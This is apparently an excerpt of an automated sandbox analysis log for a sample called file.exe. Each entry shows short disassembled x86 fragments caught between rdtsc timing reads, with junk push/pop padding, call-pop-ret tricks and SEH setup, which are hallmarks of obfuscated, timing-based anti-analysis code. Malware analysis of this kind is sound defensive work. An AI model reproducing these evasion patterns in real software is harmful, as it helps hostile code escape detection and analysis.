Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7C83 second address: CA7D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a jns 00007F2F50F30762h 0x00000010 pop ecx 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F2F50F30758h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D2A2Eh], ecx 0x00000032 push 00000000h 0x00000034 call 00007F2F50F30761h 0x00000039 mov esi, dword ptr [ebp+122D397Eh] 0x0000003f pop esi 0x00000040 push 00000000h 0x00000042 or esi, dword ptr [ebp+122D3AAEh] 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F2F50F30763h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6608 second address: CA660D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA660D second address: CA6613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF9D8 second address: CAF9DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF9DE second address: CAF9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAF9E2 second address: CAFA71 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push ecx 0x0000000b jno 00007F2F50B4A336h 0x00000011 pop ecx 0x00000012 pop ecx 0x00000013 nop 0x00000014 mov dword ptr [ebp+122D2A0Bh], ecx 0x0000001a push ebx 0x0000001b jmp 00007F2F50B4A343h 0x00000020 pop ebx 0x00000021 push 00000000h 0x00000023 pushad 0x00000024 sub dword ptr [ebp+122D1A98h], esi 0x0000002a mov ecx, dword ptr [ebp+1247141Bh] 0x00000030 popad 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F2F50B4A338h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d je 00007F2F50B4A34Dh 0x00000053 jmp 00007F2F50B4A347h 0x00000058 mov dword ptr [ebp+1245EEBFh], edi 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAFA71 second address: CAFA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F2F50F30756h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAFA7C second address: CAFA92 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2F50B4A33Ch 0x00000008 ja 00007F2F50B4A336h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB4B14 second address: CB4B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D71C second address: C5D735 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A344h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB519F second address: CB51A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB51A3 second address: CB51A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB60A9 second address: CB60AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA05B second address: CBA05F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA05F second address: CBA06D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F3075Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBAFAE second address: CBAFBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jbe 00007F2F50B4A340h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAFC01 second address: CAFC94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30764h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a xor bh, 00000063h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov edi, dword ptr [ebp+122D39AAh] 0x0000001a mov bx, ax 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 and bl, 0000004Eh 0x00000027 mov eax, dword ptr [ebp+122D10F5h] 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F2F50F30758h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov ebx, dword ptr [ebp+124578C6h] 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push edx 0x00000052 call 00007F2F50F30758h 0x00000057 pop edx 0x00000058 mov dword ptr [esp+04h], edx 0x0000005c add dword ptr [esp+04h], 00000019h 0x00000064 inc edx 0x00000065 push edx 0x00000066 ret 0x00000067 pop edx 0x00000068 ret 0x00000069 mov edi, ecx 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 push ecx 0x00000072 pop ecx 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1C13 second address: CB1C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBAFBF second address: CBAFF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a add ebx, 0996FCC3h 0x00000010 mov di, BFABh 0x00000014 push 00000000h 0x00000016 call 00007F2F50F30765h 0x0000001b pop edi 0x0000001c push eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2B37 second address: CB2B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBAFF1 second address: CBAFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2B3B second address: CB2B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0CDD second address: CB0CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBAFF5 second address: CBB003 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F2F50B4A336h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0CE1 second address: CB0CFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2BE9 second address: CB2BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDF47 second address: CBDF6E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 add dword ptr [ebp+122D2213h], ecx 0x0000000f xor edi, 48209E41h 0x00000015 push 00000000h 0x00000017 cmc 0x00000018 push 00000000h 0x0000001a or bh, FFFFFF89h 0x0000001d xchg eax, esi 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jo 00007F2F50F30756h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDF6E second address: CBDF78 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDF78 second address: CBDF97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F2F50F30761h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEE18 second address: CBEE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEE21 second address: CBEE25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEE25 second address: CBEE84 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2F50B4A336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov dword ptr [ebp+124582D8h], esi 0x00000012 mov bx, si 0x00000015 push 00000000h 0x00000017 mov ebx, 42550B78h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F2F50B4A338h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 push eax 0x00000039 pushad 0x0000003a pushad 0x0000003b jmp 00007F2F50B4A340h 0x00000040 jne 00007F2F50B4A336h 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFF24 second address: CBFF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 jmp 00007F2F50F30762h 0x0000000d jmp 00007F2F50F30765h 0x00000012 popad 0x00000013 pop ebx 0x00000014 nop 0x00000015 push ebx 0x00000016 mov ebx, dword ptr [ebp+122D35F8h] 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D1BA4h], edx 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F2F50F30758h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000018h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 mov ebx, dword ptr [ebp+122D3A16h] 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d push esi 0x0000004e pop esi 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1309 second address: CC1327 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2F50B4A343h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC1327 second address: CC132C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA1D0 second address: CBA1D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA1D4 second address: CBA272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 pushad 0x00000009 jnc 00007F2F50F3075Ch 0x0000000f mov ebx, dword ptr [ebp+122D3A3Eh] 0x00000015 popad 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F2F50F30758h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e xor dword ptr [ebp+122D2C60h], eax 0x00000044 mov bx, BB32h 0x00000048 mov eax, dword ptr [ebp+122D09F1h] 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007F2F50F30758h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 00000015h 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 mov bx, ax 0x0000006b jng 00007F2F50F30759h 0x00000071 mov di, bx 0x00000074 push FFFFFFFFh 0x00000076 mov dword ptr [ebp+122D2973h], esi 0x0000007c nop 0x0000007d pushad 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F2F50F3075Ch 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA272 second address: CBA276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB25D second address: CBB264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB264 second address: CBB26A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC15D second address: CBC213 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50F30768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b ja 00007F2F50F3075Ch 0x00000011 jnc 00007F2F50F30758h 0x00000017 popad 0x00000018 nop 0x00000019 push dword ptr fs:[00000000h] 0x00000020 xor edi, 16AEAA43h 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d call 00007F2F50F30765h 0x00000032 sub dword ptr [ebp+122D23C9h], eax 0x00000038 pop edi 0x00000039 mov eax, dword ptr [ebp+122D16A1h] 0x0000003f sub ebx, dword ptr [ebp+122D1D3Eh] 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F2F50F30758h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 jg 00007F2F50F30756h 0x00000067 nop 0x00000068 pushad 0x00000069 push eax 0x0000006a jp 00007F2F50F30756h 0x00000070 pop eax 0x00000071 jc 00007F2F50F30758h 0x00000077 push edi 0x00000078 pop edi 0x00000079 popad 0x0000007a push eax 0x0000007b jbe 00007F2F50F30760h 0x00000081 pushad 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBF008 second address: CBF00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB914C second address: CB91E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2F50F3075Dh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnl 00007F2F50F30768h 0x00000012 jp 00007F2F50F30762h 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F2F50F30758h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 add ebx, 10D6DA5Bh 0x00000039 mov dword ptr [ebp+122D36E2h], ebx 0x0000003f push dword ptr fs:[00000000h] 0x00000046 movzx edi, dx 0x00000049 mov dword ptr fs:[00000000h], esp 0x00000050 mov ebx, dword ptr [ebp+1245DF78h] 0x00000056 mov eax, dword ptr [ebp+122D03EDh] 0x0000005c xor bx, 70D6h 0x00000061 push FFFFFFFFh 0x00000063 mov ebx, dword ptr [ebp+1245E6D5h] 0x00000069 mov dword ptr [ebp+1245723Dh], eax 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 push esi 0x00000073 jmp 00007F2F50F30760h 0x00000078 pop esi 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC00D7 second address: CC00DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC00DC second address: CC00E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC740F second address: CC7415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7415 second address: CC7419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7419 second address: CC7421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7421 second address: CC7437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2F50F30761h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7437 second address: CC7459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2F50B4A349h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7459 second address: CC7465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jc 00007F2F50F30756h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7465 second address: CC746E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6BD7 second address: CC6BFD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2F50F30762h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2F50F30760h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6BFD second address: CC6C0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007F2F50B4A342h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6C0E second address: CC6C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6EB3 second address: CC6EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6EB7 second address: CC6EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2F50F30760h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F2F50F30763h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6EE0 second address: CC6EE5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7027 second address: CC702D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC6CD second address: CCC6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD27E9 second address: CD27FF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2F50F30756h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F2F50F3075Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD147B second address: CD147F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1A0F second address: CD1A1B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2F50F30756h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD1A1B second address: CD1A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2354 second address: CD2371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2F50F30767h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2371 second address: CD2377 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2646 second address: CD2675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F2F50F30763h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ja 00007F2F50F30768h 0x00000013 push esi 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 jc 00007F2F50F3075Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD66AF second address: CD66C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007F2F50B4A336h 0x0000000c popad 0x0000000d ja 00007F2F50B4A33Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C62818 second address: C6284B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2F50F30756h 0x0000000a jmp 00007F2F50F3075Bh 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2F50F3075Eh 0x00000018 jno 00007F2F50F3075Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6284B second address: C6285A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F2F50B4A336h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD129 second address: CDD12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD12E second address: CDD18F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F2F50B4A336h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F2F50B4A348h 0x00000010 popad 0x00000011 jmp 00007F2F50B4A343h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F2F50B4A33Dh 0x0000001f jmp 00007F2F50B4A347h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD590 second address: CDD596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD71A second address: CDD720 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD720 second address: CDD72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2F50F3075Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD72E second address: CDD732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
